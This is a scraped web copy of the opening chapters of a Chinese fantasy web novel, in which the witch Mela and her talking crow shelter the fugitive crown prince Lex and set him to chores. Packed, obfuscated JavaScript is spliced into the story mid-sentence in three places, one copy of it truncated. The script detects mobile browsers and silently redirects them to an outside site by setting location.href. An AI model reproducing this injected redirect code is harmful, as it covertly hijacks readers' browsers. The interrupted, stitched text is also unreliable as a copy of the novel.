《养成国王[西幻]》 1. 第 1 章 天空中一轮硕大的银月高悬,照亮了底下一望无际的森林。 黑夜送来静谧与安宁,是一天中最适合休息的时候。 然而匆匆忙忙的脚步声从森林深处传来,一个披着斗篷的女人面色惊慌地跨过低矮的灌木丛,踩着溪流上的鹅卵石一蹦一跳地渡过蜿蜒的河流,嘴里不断念叨着,“糟了糟了,要赶不上夜光花的花期了。” 女人的身旁飞着一只乌鸦,正追着她数落,“笨蛋梅拉,塞拉斯早早地就提醒过你,不要睡懒觉。” “可是梅拉不仅睡懒觉,还觉得好心提醒她起床的塞拉斯吵,给塞拉斯用了昏睡咒!” 于是直到银月升到最高空,塞拉斯和它的主人才一同自梦乡中猝然惊醒。 而此时,夜光花已经度过了它短暂的花期,即将面临凋谢。 披着斗篷的女人,也就是梅拉,现在没空和自己的宠物乌鸦斗嘴。眼见银月已经有了坠落的趋势,她急得脚下一个踉跄,被一块躲在草丛中的石头绊了一下。 因为动作的缘故,黑色的兜帽滑落,一头火红的卷发如瀑布般泻出,颜色浓艳得仿佛一团熊熊燃烧的火焰,将高空投下的银色月辉点燃,作为周身的点缀。 仿佛从油画中走出的女仙,难以用语言形容的美丽扑面而来。 然而下一秒,梅拉揪着围着自己乱转的塞拉斯,飞快的对它施加了一个变大咒语,手脚并用匆匆忙忙地爬到小山一样巨大的鸟背上,使唤道:“快飞,说不定我们还能赶上最后一刻!” 好吧,为了满足主人的愿望,塞拉斯只好快速地扇动翅膀,箭似的掠过广袤的森林上空,投下一片巨大的黑影。 在塞拉斯的努力下,梅拉跌跌撞撞地扑到花丛前,摘到了尚未完全凋谢的夜光花。 散发着幽蓝色荧光的小花,挨挨挤挤地铺满了梅拉挎在小臂上的篮子,意味着今晚她们总算没有白跑一趟。 “谢谢你,塞拉斯。”梅拉抱住塞拉斯的翅膀,整张脸都埋入暖烘烘的羽毛中,发出一声舒服的喟叹。 “梅拉,我刚刚好像看到有人进入了森林。”塞拉斯道。 “你有看清是什么人吗?”梅拉惊讶不已,“真稀奇,自从传出这里居住着邪恶的女巫和食人的巨兽后,我已经整整五年都没见过有人类敢踏入黑暗森林了。” 梅拉说的没错,所以塞拉斯在空中瞥到地面上不断移动的几个小黑点时,第一反应还以为自己眼花了。 等它定睛一看,发现是几个男人追着一个孩子。 不仅如此,“我看到男人们的手里还拿着武器,如果被追上了,那个孩子估计就完蛋了吧。” “梅拉,我们要去救那个孩子吗?”塞拉斯问道。 梅拉没有犹豫地点头,“去看看吧,如果这个孩子能在我们赶到前活下来的话,说明他命不该绝。” * “老大,我们还要继续追吗?刚刚飞过去的那个黑影,绝对是女巫养的吃人的巨兽吧。”一个男人面色惨白地看向小队的领头者,刚才巨大的黑影遮蔽天空时,他们虽然握着武器,却无一不吓得双腿发软,差点直接坐在了地上。 被他称作老大的男人沉着脸,一一扫过其他人同样畏惧的神情,最后决定到:“算了,不追了,莱克斯王子绝不可能在巨兽的嘴里活下来。” 闻言,其他人顿时如蒙大赦,飞快地退出了在夜里看起来格外阴森恐怖的黑暗森林。 而男人提到的莱克斯王子,正喘着粗气,拖着疲惫又沉重的身躯拼了命地往前跑,用尽全力摆脱身后的追击。 “呼哧呼哧。” 莱克斯跑不动了。 这具身体已经整整两天没有进食过任何食物了,又在先前的逃跑中不幸中了一箭,黏腻的鲜血铺满了大半个肩膀。 莱克斯能坚持到现在,全靠伤口不断传来的疼痛在提醒着他,不能停,否则一定会被那些人追上来杀掉。 不,他绝不能死,他还要活着回去替骑士长报仇,让仇人们痛苦的哀嚎响彻整个王都。 莱克斯咬了咬牙,唇边溢出一丝血腥,勉强振作了一点精神,却在下一秒不受控制地往前倒去。 莱克斯让隐藏在草丛中的石头狠狠一绊,直挺挺地摔到了地上。 糟糕,他得快点爬起来,莱克斯挣扎着起身,压根没有注意到身后已经不再传来追兵的脚步声。 然而无论莱克斯如何挣扎,他的身体已是强弩之末,不仅鼓不起一丁点力气,连眼皮都忍不住耷拉了下来。 困倦仿佛潮水般袭来,裹挟住莱克斯摇摇欲坠的神志,似乎要拖着他往深渊中沉溺。 不!莱克斯在心中高声呐喊,他不要睡过去! 在这样危急的关头,莱克斯想起了王室世代供奉的守护神,如果世上真的存在神明,能否于此刻伸手拯救他? 他愿意以努伦格尔的姓氏起誓,若他活下来,必会成为新王完成复仇,以牙还牙,以眼还眼,所有觊觎他王位的人,他都要让他们付出应有的代价。 作为报答,他会将自己拥有的一切献给神明,不管是整个王国的财富,还是至高无上的权力,亦或是其它,只要神明希望,他都心甘情愿双手奉上。 迷迷糊糊中,莱克斯感觉好像真有那么一双手抱住了他,它纤细、柔软,同时带着属于女性的馨香。 传说里英勇善战的守护神原来是位高贵的女神吗? 彻底昏迷前,这是莱克斯唯一的念头。 * “他居然真的活下来了诶。”变回普通乌鸦大小的塞拉斯跳到摇椅的扶手上,歪着脑袋打量浑身狼狈的莱克斯。 梅拉发现莱克斯还有呼吸后,就把人带回了位于森林深处的小木屋。 只是屋子里到处乱糟糟的,连落脚的地方都少得可怜。 不对,还有个地方没被用来堆积乱七八糟的杂物,那就是梅拉每天用来休息的宝贝摇椅。 好吧,人救都救了,梅拉便大方地让出摇椅,把莱克斯放了上去。 除此之外,梅拉还给莱克斯拔出了背上的箭。 她检查后发现箭镞上并没有带毒,只需要抹一层止血药粉就好了。 作为独自在黑暗森林生存,且凶名在外的女巫,梅拉制作魔药的手艺不容置疑,效果更是立竿见影。只见抹完止血药粉后,莱克斯身上的伤口很快止住了不断外流的鲜血。 止了血,莱克斯的脸色虽然依旧苍白,但总算没有继续糟糕下去了。 这样应该就好了吧?梅拉不确定的想。 为了保险,她又把莱克斯里里外外检查了好几遍,实在没有发现别的伤口了。 所以如果之后莱克斯醒不过来的话,那绝对不可能是梅拉的问题。 “梅拉,他的头发是金色的,他是努伦格尔王室的人。”塞拉斯突然大叫。 “生活在王国里的人有谁不知道金发是努伦格尔王室的象征吗?”梅拉淡定地反问。 就算是躺在摇篮里尚不知事的婴孩,也能从他们父母的嘴中得知唯有高贵的王室才能拥有如同金子一般的头发。 也就是塞拉斯跟着梅拉隐居黑暗森林太久,才会这会儿才反应过来。 “那万一等他醒过来,要喊王国的军队来抓我们怎么办。梅拉,你忘记我们为什么要搬到森林里来住了吗?”塞拉斯抖了一下翅膀,两颗豆豆眼挤在一起,陷入了回忆之中。 当塞拉斯还是只不小心从巢穴中掉到地上的雏鸟时,它就被梅拉捡回来当了宠物。 谢天谢地,塞拉斯虽然从树上的巢穴中摔了下来,却只断了几根骨头,这对梅拉来说不过是一瓶治愈药剂就能治好的小伤。 养好伤后,出于感恩的塞拉斯继续留下来充当梅拉的宠物。 那时他们住在一座名气不大的小镇上,梅拉则是镇子里最漂亮的姑娘,常常有追求者追到家门口,试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我们赶紧把他丢出去吧!丢得远远的!”塞拉斯果然被吓得差点从扶手上掉下来。 惹来梅拉一阵嘲笑,“放心吧,他如果真能喊来军队,为什么不让军队保护自己呢?” 还落到被人追杀的狼狈处境。 “再说了,国王的军队抓不住我们的。”梅拉抓过塞拉斯,安抚似的抚摸着它炸起的羽毛,“有你在,我们随时可以飞走啊。” 是哦,塞拉斯对自己还是很有信心的。 只要梅拉给它用上变大的咒语,它就能载着梅拉一下子飞出森林,飞越高山,飞过海洋,飞到所有人都找不到的秘境中去。 这样一想,国王的军队又有什么可怕的呢? 不过不管怎么说,“梅拉都是我见过的最心地善良,乐于助人,体贴温柔的女巫了!”塞拉斯又开始了每日必备的阿谀奉承,不对,真情实感的对主人的夸赞。 它一直认为自己能独得梅拉的宠爱,就与它的夸夸脱不开关系。 “好了,我知道,这种事实就没必要特意拿出来吹嘘了。”梅拉显然很吃塞拉斯这一套。 但是很快,梅拉想起自己拎回来的那一篮子夜光花。 夜光花有一个特性,被摘下来后每过一个小时,做成药剂的效果就要大打折扣。 她好不容易掐着点摘到这么多夜光花,就是为了得到最佳的药效,可不能浪费了。 “好了,你看着他,要是他醒了,你就叫一声。”梅拉把塞拉斯丢开手,自顾自的去忙了。 首先需要按照颜色深浅对夜光花进行分类,其次根据花瓣的大小,还可以将它们再分成好几组。 可别小看这一步,魔药的炼制容不得马虎,多0.01克的重量都有可能导致炼制失败。 当然,即使炼制时侥幸成功,出来的效果也可能大相径庭。 比如很有可能把塞拉斯从一只乌鸦变成一只青蛙。 对,夜光花正是变形药剂的重要材料。所以梅拉才如此重视。 她前不久可是和一位客人说好了,要在三天之后交出十瓶变形药剂的。 “你放心去忙吧,我绝对会看好他的。”塞拉斯挺起胸脯保证道。 接着它重新落到摇椅的扶手上,瞪着两只圆滚滚的黑豆眼,一动不动地盯着莱克斯恬静的睡颜。 2. 第 2 章 莱克斯是被窗外洒入的阳光叫醒的。 他甫一睁眼,就对上了一双圆滚滚的黑豆眼,差点吓得从摇椅上滚下来。 等他定睛一看,才发现黑豆眼的主人原来是只乌鸦。 不过这并不是一只普通的乌鸦,因为它竟然在莱克斯面前张嘴说话了。 “梅拉,他醒了!他醒了!”塞拉斯尽职尽责地向主人发出提醒。 “别吵。”梅拉正在用长柄的铁勺子把炼制好的魔药往造型古怪的陶罐里倒,连个眼神都懒得分给塞拉斯和莱克斯。 又来了,塞拉斯就知道,在梅拉心里,没有什么比她的魔药更重要。 它只好代替梅拉,继续盯着莱克斯的一举一动。 莱克斯像是被吓傻了,鹌鹑一样瑟缩在摇椅上,垂落的金发挡住了他的大半张脸,也把他不动声色的打量遮得严严实实。 莱克斯控制着眼珠的转动,缓慢地扫视了一圈周遭的环境。 这是一座在莱克斯眼里堪称简陋的木屋,唯一的一盏煤油灯随意挂在屋顶的房梁上,偶尔有风自屋外吹进来,它便开始左右摇晃,仿佛随时都能掉下来砸死人似的。 屋内到处是乱糟糟的,丢着一看就年代久远的羊皮书,针法精美的羊绒毯子,各种不知道装着什么东西的瓶瓶罐罐,以及正中央令人无法忽视的巨大的黑色的锅。 没有柴火,一层幽蓝色的荧火浮在锅底,让锅内不断浮出“咕嘟”“咕嘟”的声响。 而看起来大约二十多岁的女人站在锅前,一头红色卷发胡乱地披在身后,随着她俯身品尝勺子里的东西时,一大绺头发自然地滑落至胸前。 平心而论,她的长相比王都公认的美人,维尔娜公爵小姐还要美得多,皮肤白得像牛乳,五官的每一处线条都仿佛经过宫廷画师的精心设计。也只有画作上的人物,才能长得这般完美无缺。 莱克斯一不小心看得失神了。 视线长久地停留在她的身上。 于是理所当然地被梅拉发现了他的小动作。 梅拉朝莱克斯投来漫不经心的一瞥。 那是一双比长满水草的深水潭还要幽绿的眼睛,里头摇荡起晦暗不明的波光,简直摄人心魄。 莱克斯的目光顿时像是烫着了一般飞快收回来。 年轻漂亮独居此处的女人,拥有独一无二的会说话的乌鸦,她的身份登时在此刻呼之欲出:她就是传闻中那名居住在黑暗森林里的邪恶女巫。 莱克斯没想到他竟然落入了女巫的手中。 这可没比落入追兵手中好到哪里去。唯一值得庆幸的大概是他至少暂时捡回了一条命。 也不知道女巫把他带回来的用意是什么,难道是因为认出了他是王室的人所以特意报复? 从莱克斯的曾祖父开始,王国颁布了针对女巫的追捕令,一旦发现女巫的踪迹,当地的领主必须出兵将人绑回来在众目睽睽之下烧死。因此到了莱克斯的父亲登上王位后,女巫几乎在人群中销声匿迹。 毫无疑问,女巫们对造成这一切的王室定然怀恨在心。莱克斯的几位叔叔就是在女巫的诅咒中备受折磨地离开了人世。 现在轮到莱克斯自投罗网了。 想到这,莱克斯继续装作被吓得不轻的模样蜷缩在摇椅上,在没有能力正面对决的时候,示弱是个放松敌人警惕的好办法。 之后他总会找到机会逃跑的。 梅拉果然不再关注莱克斯,她皱着眉头回味刚才尝到的变形药剂的味道。 奇怪,尝起来有点腐朽了,明明她做过不少次类似的药剂,从没有出错。 到底是哪里出了问题? 梅拉的视线漫无目的地在屋子里游移,然后她就瞥见了堆在橱柜角落里的一个细颈瓶子,在它的身旁,一朵颜色鲜艳的蘑菇正招摇地生长着。 “塞拉斯!橱柜里为什么会长蘑菇!我都说了那个角落放的是独角兽的兽角骨粉,不能沾水!” 梅拉这下知道为什么刚煮出来的变形药剂尝起来有腐朽的味道了,因为加进去熬制的兽角骨粉沾了水变得潮湿,然后迅速地发霉了。 听见梅拉陡然拔高的音量,塞拉斯惊慌地扇了几下翅膀,羽毛都吓掉了几根。 “塞拉斯有按照梅拉的吩咐好好打扫橱柜,但翅膀实在比不上人手方便,羽毛有缝隙,扫过去的时候可能就漏掉了哪个地方吧……”塞拉斯期期艾艾地为自己解释道。 “所以你打算把这种打扫屋子的活计交给我来干?”梅拉抱臂挑眉,冷哼了一声。 虽然塞拉斯说的是事实没错,但梅拉每天可是很忙的,她要研究魔咒、采集各种稀奇古怪的材料来炼制魔药,怎么可能把宝贵的浪费时间在打扫屋子上。 “塞拉斯当然不是这个意思了!”塞拉斯两粒豆豆眼一转,重新对准了缩在摇椅上的莱克斯,“先前这座小木屋里只住着梅拉和塞拉斯,但现在有第三个人可以来分担塞拉斯的工作了。” 我?打扫屋子?一直偷听女巫和乌鸦说话的莱克斯忍不住瞪大眼睛,流露出极度的震惊与不敢置信。 莱克斯作为王储出生十二年,身边从来都是围绕着数十位仆人殷勤地替他打理杂务,别说打扫屋子了,他连毛毛掸子都没摸过! 如今一朝沦落到女巫手里,竟然要屈尊干仆人的活吗,简直耻辱至极。 梅拉听了塞拉斯的话,倒是很快露出一副若有所思的表情,她的目光同样落到莱克斯身上,“你叫什么名字?” “莱克斯。”面对女巫的问题,莱克斯倒是想装聋作哑,但一想到传闻中女巫残忍的手段,他还是忍着屈辱答道。 “那么为了报答我救了你的恩情,从今天起你就负责给我干活,先从打扫屋子开始吧。”梅拉愉快地宣布道。 * 纵使莱克斯心里有一万个不情愿,却不敢当场拒绝梅拉的要求,万一惹怒了梅拉,她不要他干活了,而是要拿他当炼制魔药的材料该怎么办。 梅拉不知道莱克斯心中的想法,也懒得知道,只要莱克斯能给她干活就行。 反正整座黑暗森林都是梅拉的地盘,莱克斯一个乳臭未干的小屁孩难道能翻出浪花来吗? 塞拉斯发出一阵聒噪的笑声,它一只乌鸦天天承担了所有的家务活,如今总算来了个倒霉蛋替它分担,它快乐开花了。 “别笑了,赶紧给我做早饭去。”梅拉制止了塞拉斯的幸灾乐祸,太阳都晒屁股了,她还没吃上今天的早餐。 塞拉斯闻言,立刻止住笑声,任劳任怨地挥舞着两扇黑漆漆的翅膀。一扇翅膀拿刀,一扇翅膀拿着洗干净的土豆,只见一阵银光闪烁之后,被切得大小不一的土豆块接二连三地掉进了锅里。 响起一连串的扑通声。 “等、等一下,这个锅不需要洗一洗吗?”莱克斯确定塞拉斯要用前不久才煮完魔药的锅来煮土豆后,终于忍不住主动开口。 如果他喝下这么一碗加了料的土豆汤,怕不是当场就要去世了吧。 “屋子里一共就这一口锅,凑合着用用算了。” 像是知道莱克斯在担心什么,梅拉云淡风轻地安慰他,“放心吧,变形药剂卖得可是很贵的,我已经把每一滴汁液都刮得干干净净,不可能有残留。” 言下之意就是,你喝到的绝对是最普通的土豆汤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626445|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想喝加了料的?得花钱才行。 ……莱克斯并不想尝试这种莫名其妙的料理,好在最后喝到嘴里的浓汤虽然味道淡了一点,但并不古怪。 眼见莱克斯喝完了一整碗土豆浓汤,塞拉斯立刻扇着翅膀催促道:“好了,莱克斯,你该干活了。” “首先,你应该先把餐具给洗了。” 在塞拉斯的指挥下,莱克斯打来一桶清水,把刚刚用过的碗和勺子洗干净,然后晾在了木屋外的一块大石头上。 等到了晚上,自然的风与阳光已经带走上头的水分,就可以重新拿来盛晚餐了。 “接下来是打扫角落的灰尘。” 塞拉斯指挥莱克斯从木屋的某个角落里找出毛毛掸子,先甩干净上头原有的积灰,再拿来掸走各个缝隙处的灰尘,以及不知道什么时候结成的蛛网。 期间莱克斯不可避免的需要挪动梅拉随处堆放的物品。 “那个不许动!”梅拉原本正坐在书桌前,修一支不知为何没法正常书写了的羽毛笔,眼角的余光瞥到莱克斯的动作,立刻叫了起来。 “那本书是我好不容易从地下室里翻出来放在那的,你要是改变了它的位置,我就找不到了。” 闻言,莱克斯默默地把手里砖头一样厚重的书放回了原位。 “那张毯子也不许动!”下一秒,梅拉又叫了起来。 “那是我最喜欢用来发呆的位置,羊绒毯子可以拿一半垫着,再拿另一半披在身上。” 好吧,莱克斯只好又把羊绒毯子放了回去。 总之在梅拉这也不许动,那也不许动的命令中,莱克斯艰难地把屋子的每一处角落与久不见光的缝隙掸了个干净。 “唉,总算有人懂我过去经历的痛苦了。”看到莱克斯被梅拉指挥得团团转,塞拉斯突然对他升起了一丝好感,就好像看见了过去十年中勤勤恳恳伺候梅拉的自己。 “她总是喜欢把东西放得到处都是,还不准我乱动,可是不把东西挪开怎么打扫屋子?”塞拉斯压低了声音,悄悄和莱克斯抱怨道。 “最后要是哪里做的不好,她还要朝我乱发脾气。真是的,明明塞拉斯一点错都没有。” “塞拉斯——”梅拉拖长了尾调,沼泽一样幽绿的眼眸微微眯起,“你在和莱克斯说什么呢?是不是在悄悄说我的坏话?” “当然没有!”塞拉斯理直气壮地反驳,“我只是在教莱克斯怎么更好地打扫干净屋子,在不乱动梅拉东西的前提下。” “哦?是吗?”梅拉的目光移到莱克斯的脸上。 莱克斯垂下眼帘,保持了沉默。 既没说是,也没说不是。 看上去梅拉姑且相信了塞拉斯的话,不再追问这件事。 莱克斯听到塞拉斯在身旁轻轻吁出一口气。 到了晚上,为了奖励莱克斯对自己的帮助,塞拉斯特地给莱克斯多舀了一大勺土豆,“多吃点,你还受着伤呢,吃饱了才有力气恢复。” 这会儿塞拉斯倒是想起莱克斯身上还有伤了,下午那会儿它可是不留余力的在指使莱克斯干活。 好在女巫的止血药粉药效很好,加上莱克斯年轻,只要不施展大动作,就不会重新撕裂伤口。 莱克斯一边默默地吃着碗里的土豆,一边考虑着要不要在逃跑之前把女巫制作的止血药粉全都卷走,不管怎么说,这都是个货真价实的好东西。 等回去了,他说不定还能让宫廷药师们研究研究是否能复刻出同样的药膏来。 想到回去,莱克斯的眸光顿时一暗,也不知道为他引走追兵主力的骑士长现在如何了,是否侥幸逃脱,正到处寻找他的踪迹。 3. 第 3 章 “殿下,待会儿我来负责引开追兵,您就继续躲在这个树洞里。您放心,这个树洞很隐蔽,他们一定不会发现您的。” 即使面临如此危急的情况,骑士长切尔各的脸上却还保持着一如既往的镇定。 然而听到越来越近的马蹄声,切尔各不得不加快语速,嘱咐道:“不过树洞并不是久留之地,等您确认附近没有别的脚步声与马蹄声后,记得立刻掉头往回跑。如果我侥幸摆脱了追击,也会立刻回去找您的。” “好。”莱克斯郑重地点头,“你也要保重,一定要安全回来,切尔各。” 切尔各留给莱克斯一个熟悉的微笑,旋即起身,利落地翻身上马,头也不回地朝着另一个方向奔去。 很快,沉重的马蹄声来到附近,莱克斯能听到有不少人在树洞不远处走动,他不由得将呼吸放得更轻,连眼睛眨动的速度都放缓了,生怕被这些追兵发现自己就藏在这样一个仅仅靠灌木丛遮蔽住的树洞里。 然而正如切尔各所说,他为莱克斯寻找的这个藏身之处十分隐蔽,那些追兵压根没停下,一路朝着切尔各离开的方向追去。 随着声音越来越远,莱克斯又在树洞里呆了好一会儿,确认追兵们全都被切尔各留下的马蹄印引走后,才忙不迭扒拉开灌木丛跑出来,循着他与切尔各来时的路原路返回。 身为现任国王努伦格尔九世的长子,莱克斯还是头一回陷入如此狼狈的处境。 尽管在莱克斯六岁时,他的母亲万莱雅王后因病去世,他的父亲很快迎娶了新的王后,对他这个大儿子的事情漠不关心。但是作为王座的第一顺位继承人,没有任何人敢轻易慢待莱克斯。 因此莱克斯依旧享受着宫廷的锦衣玉食,由最睿智的宰相担当他的老师,最英勇的骑士长教习他武艺。 他亦不负众望,成长为了令人满意的王储。 然而三天前,继王后生下的小王子迎来了新生洗礼。 变故就发生在当天的晚宴上,莱克斯被歹人迷晕,带出了王宫,打算伪造出王储殿下因为贪玩偷溜出城然后不幸遇难的一幕。 幸好莱克斯消失一事被察觉不对的骑士长切尔各及时发现,他没有声张,悄悄地追查到宫外,最后成功把莱克斯从歹人手中救了下来。 还没等莱克斯与切尔各重新返回王宫,商量如何揭露继王后的阴谋,突然面对了来势汹汹的几百名追兵。 不出意料,他们也是继王后派出的人,势要在今晚彻底清除莱克斯这块阻扰她亲生儿子登上王位的绊脚石。 切尔各虽然勇武,能以一当十,但他还要护着莱克斯,没法保证安全的带着他逃出重围。 于是切尔各用劲一拉缰绳,调转方向,打算先躲过这波追击再说。 马儿跑了一天一夜,身后的追兵却丝毫没有减少。 莱克斯猜大概是因为继王后下了死命令,说不定还要求追兵带着他的人头回去复命不可。 “殿下,再这么逃下去,我们一定会被追上的。”切尔各道。 “那你说我们该怎么办?”莱克斯信任地问,无论待会儿切尔各提出怎样的办法,他都会答应。 事实上,莱克斯现在除了信任愿意舍命相护的切尔各外别无选择。 “您跟我来。”切尔各突然勒停胯/下强壮的黑马,带着莱克斯来到一处灌木丛前。 随着切尔各的动作,灌木丛被扒开,露出一个不大的树洞,想要容纳切尔各这样身材高壮的成年男人不容易,但像莱克斯这样还未开始拔高身量的少年,努努力蜷缩起身体还是能钻进去的。 切尔各让莱克斯躲进去,不要出声,自己则骑着马引开了追兵。 莱克斯一面跌跌撞撞地往回跑,一面暗自祈祷切尔各能够平安无事地甩脱追兵。 可惜命运的天平并未向莱克斯倾斜,他还没逃出多远,竟然就碰上了一小伙突然折返回来的追兵。 莱克斯瞥见他们的身影,立刻加快速度往杂草丛生的密林中跑,期冀能借助地形成功逃脱。 不幸中的万幸,这一小伙追兵没有骑马,只能骂骂咧咧地追在莱克斯的身后,还有人一个不慎,差点被地上的藤蔓绊倒。 莱克斯却不敢放松,哪怕跑着跑着喉咙里呛出了腥甜的味道,他也是咬紧了牙关,一步都不敢停。 可是双方的距离在逐渐缩短,莱克斯甚至不小心让乱飞的箭矢射中肩头,踉跄了一下,他的心底渐渐漫上了一股灰黑色的绝望,他真的能成功逃脱吗? 更令莱克斯绝望的是,他居然慌不择路地跑到了黑暗森林附近。 虽然都是密林,但黑暗森林不知为何常年笼罩在阴翳之中,哪怕只是靠近外围,都能感受到一阵令人忍不住发抖的寒意。 更别提传闻中黑暗森林中不仅栖息着无数猛兽,还住着邪恶的女巫与她豢养的食人巨兽。哪怕是王国最英勇的战士,也不敢孤身进入其中。 然而莱克斯没得选。 要么就此停下脚步被捉住,一定会死;要么闯入黑暗森林中,只要他不碰上女巫和巨兽,还能博得一线生机。 这么一想,莱克斯干脆眼睛一闭蒙头扎进黑暗森林之中。 银月高悬,可是浓重的黑暗如影随形,身后的脚步声更是逐渐靠近,追兵们锲而不舍,仿佛下一秒闪着寒光的刀尖就要照着他的身体劈下—— 莱克斯猛地睁眼,对上了木头搭建起的尖角屋顶,黑色的煤油灯被偶然途经的夜风吹动,一阵不大不小的摇晃声在静谧的夜里回荡。 除了被噩梦惊醒的莱克斯,屋里另外的一人一鸟依然睡得安恬。 莱克斯隐隐预约听到了遥远的兽吼,却并不担心真的有不长眼的野兽闯进这座木屋,在黑暗森林之中,再没有比女巫的家更安全的地方了。 也不知道切尔各怎么样了。 王城那边,宰相斐南基得知他与切尔各一起失踪的消息,是否正夜不能眠。 如果他不能尽快赶回去,在继王后的撺掇下,他的父王一定会迫不及待地把小儿子立为新的王储。到时候他再想夺回王位,就要比现在困难多了。 杂乱的念头在莱克斯脑中胡乱飞舞,像捉不住的萤火虫,哪怕他强迫自己闭上眼,眼前依旧一片荧光闪烁,难以入眠。 于是第二天,梅拉发现莱克斯看起来恹恹的,仿佛精神不太好的模样。 奇怪,按理说莱克斯的伤口正在恢复中,他应该越来越精神才对。 梅拉托着下巴想了半天,没想出个原因来。 “梅拉,梅拉,杜克瓦托又来找你交易啦。”塞拉斯大叫着朝梅拉飞来,爪子里还抓着一片,呃,一片宽大的树叶。 “我都跟杜克瓦托说过多少遍了,不要随便捡一片树叶就拿来糊弄我。要是叶子被虫子咬烂了,看不清上面的字迹,我就当从没有过这桩交易。到时候他拿不到东西,可不能赖到我头上。” 梅拉不耐烦地扯过树叶,“行了,我看看他这回又打算在我这买点什么。” “十瓶治愈药剂,还必须今晚就要?”梅拉惊诧不已,“他该不会受了很重的伤吧?” 要知道像莱克斯身上的箭伤都还不到需要用上治愈药剂的程度,杜克瓦托到底受了多重的伤才会一口气跟梅拉买下十瓶治愈药剂。 “天哪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626446|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”塞拉斯跟着叫起来,“杜克瓦托这是怎么了?他可千万不能有事啊。” 一旁的莱克斯目露疑惑,杜克瓦托是谁?听起来经常和女巫做交易,交情匪浅的样子。 像是什么危险人物。 毕竟一般人生了病或是受了伤只会去找药师或牧师求助,从没听说谁受伤了找女巫帮忙的。 “你说的没错,杜克瓦托可千万不能有事,他还欠着我整整三枚金币的债务,他死了我的钱该怎么办,就算我是女巫也没法从死神手里追债啊。” 说着,梅拉跑到靠墙的一整面橱柜前翻找起来,响起一阵瓶瓶罐罐碰撞在一起的声音。 “半瓶蒲公英粉末、三根魔芥兰的茎、六对蟾蜍耳朵、半罐清晨时分的露水……”梅拉怀抱着造型各异的瓶瓶罐罐,打开盖子,一股脑的全倒进了黑色的坩锅里。 “莱克斯,去给我打一桶溪水倒进来。”梅拉使唤道。 莱克斯只好提着桶往溪边走去。 好在离木屋不远处,就有一条潺潺流动的小溪,溪水很清澈,连水底的石头长什么样都能看得一清二楚。 莱克斯把打回来的满满一桶水倒进了锅里。 接着他就看到一层幽蓝色的荧火倏然亮起,差点燎到他的鞋子。 莱克斯吓得赶紧跳开,往地上跺了好几下脚。 “嘎嘎,”塞拉斯看到这一幕,忍不住乐出了声,“笨蛋莱克斯,这不是木头烧起来的那种火焰,不会烧着你的。” 莱克斯定睛一看,发现鞋子被燎到的部分还真没有烧过的痕迹。 这还真是不可思议。 莱克斯忍不住朝站在坩埚前,一脸平静地搅拌锅内材料,调配药剂的梅拉看去。 “看什么?”梅拉注意到他的视线,挑眉问道。 她还以为莱克斯又在担心吃到加了料的食物,“放心吧,治愈药剂的价格比变形药剂还贵,我可不舍得浪费任何一滴药水。” 不过,莱克斯身上也有伤,今天还一副蔫耷耷的样子,要不要煮好后给他也来一勺呢? 梅拉陷入沉思。 算了,谁让她是如此心地善良的女巫呢,就给莱克斯也来一勺治愈药水吧,虽然是加水稀释后的版本,但既然是免费的东西,就不要想着和花了钱的得到一样的药效了。 然而莱克斯却并不理解梅拉的好意,他疯狂地摇头拒绝了梅拉递来的满满一勺药水。 他之前可是听到梅拉都往里加了什么材料,蟾蜍耳朵、喜欢吸血的魔芥兰的茎,这是人能吃的东西吗? 就算梅拉信誓旦旦的说这是她特制的治愈药剂,效果很好,销量也很好,莱克斯依然坚定地道:“不用了,我相信我的伤可以靠自己恢复。” 他就算再急着养好伤逃离黑暗森林,也不会喝这种稀奇古怪的药剂。 “好吧,你不喝就算了。”梅拉也不强求,把勺子里的液体又倒回了锅里,搅拌搅拌直到颜色均匀后,分成了十瓶治愈药剂。 “塞拉斯,你赶紧把这十瓶治愈药剂送到我和杜克瓦托一直约定好用来交易的大树下。”梅拉把药剂装到篮子里,让塞拉斯叼着飞走了。 临走前,她不忘嘱咐塞拉斯,“记得见到杜克瓦托后告诉他,就算死也要把欠我的那三枚金币还了再死,不然我就诅咒他下辈子投胎成一头猪,还是永远吃不饱饭,只能饿得瘦骨嶙峋的猪。” 闻言,莱克斯感觉自己身上的鸡皮疙瘩都起来了,这就是女巫的诅咒吗?果然狠毒。 谁想下辈子投胎成一头吃不饱饭的猪啊?就算吃饱饭养出一身肥膘会被人类宰杀,也比饿着活到寿终正寝要好吧。 4. 第 4 章 今天是要把已经做好的三瓶变形药剂拿去交货的日子。 然而梅拉正躺在摇椅上呼呼大睡,意识到窗外投进了灿烂的阳光,她还把身上的羊绒毯子往上拉了拉,盖住了脑袋。 “跑个腿而已,哪里需要劳动伟大的女巫梅拉大人。”昨晚梅拉理直气壮地道。 “塞拉斯,明天你带着莱克斯跑一趟,教他认认路。”梅拉又道。 塞拉斯没有意见,一边梳理着身上的羽毛一边发出意义不明的叫声。 及时响应主人的每一句话是一名优秀宠物应该懂得的自我修养,塞拉斯这一点做得非常好。 梅拉很满意。 她接着看向莱克斯,因为发现他的脸上出现了愣神的表情。 